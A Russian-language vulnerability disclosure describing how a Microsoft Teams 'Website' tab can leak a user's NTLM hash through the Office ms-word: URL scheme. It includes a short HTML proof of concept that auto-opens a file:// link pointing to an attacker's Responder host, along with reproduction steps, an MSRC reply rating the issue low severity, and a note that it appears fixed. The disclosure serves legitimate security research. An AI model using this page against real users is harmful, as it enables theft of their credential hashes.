Описание

Когда пользователь переходит на вкладку «Веб-сайт», ведущую на специально созданную веб-страницу, это может привести к раскрытию NTLM-хэша через активацию URL-схемы Office, что сводит процесс утечки к одному клику.

Если попытаться открыть из браузера ссылку в формате ms-word:ofv|u|file://Share/File.docx, потребуются следующие шаги:

1- Пользователь должен подтвердить намерение открыть Word.

2- Пользователь должен признать и принять риски, указанные в предупреждающем сообщении MS Office.

Однако на вкладке «Веб-сайт» действие пользователя сводится лишь к принятию риска.

Шаги воспроизведения

Запустите Responder на машине «атакующего»
Разместите HTML-страницу, содержащую следующий код:

<html>
<head>
    <title>Auto Open Document</title>
</head>
<body>
    <a href="ms-word:ofv|u|file://ResponderIP_Or_MachineName/File.docx" id="autoOpenLink"></a>
    <script>
        window.onload = function() {
            document.getElementById('autoOpenLink').click();
        };
    </script>
</body>
</html>

3. В Teams настройте вкладку «Веб-сайт», ведущую на только что созданную вами веб-страницу. 4. Откройте «Вкладку».

Когда вы посещаете вкладку, ссылка, активируемая JavaScript, автоматически запускает открытие Word. Если пользователь соглашается с запросом в Word, нажимая «Да», его NTLM-хэш передается на машину «атакующего».

Демонстрация

PoC

Раскрытие

В среду, 27 марта 2024 г., в 20:23 Центр реагирования на угрозы безопасности Microsoft <[email protected]mailto:[[email protected]](mailto:[email protected])> написал:
Здравствуйте,
Благодарим вас за обращение. Мы определили, что ваша находка действительна, но не соответствует нашим критериям для немедленного исправления, поскольку серьёзность проблемы невысока. Наши инженеры указали, что пользователю всё равно придётся дать согласие в Word или других клиентах Office до утечки NTLM, что снижает серьёзность. Тем не менее мы отметили вашу находку для будущего рассмотрения как возможность улучшить наши продукты и как проблему функции, которую стоит доработать. Сроков такого рассмотрения у меня нет. Поскольку сейчас дальнейших действий не требуется, я закрываю это дело.
С уважением,
MSRC

Похоже, исправлено в Microsoft Teams версии 24033.813.2773.520.

TeamsNTLMLeak

Популярное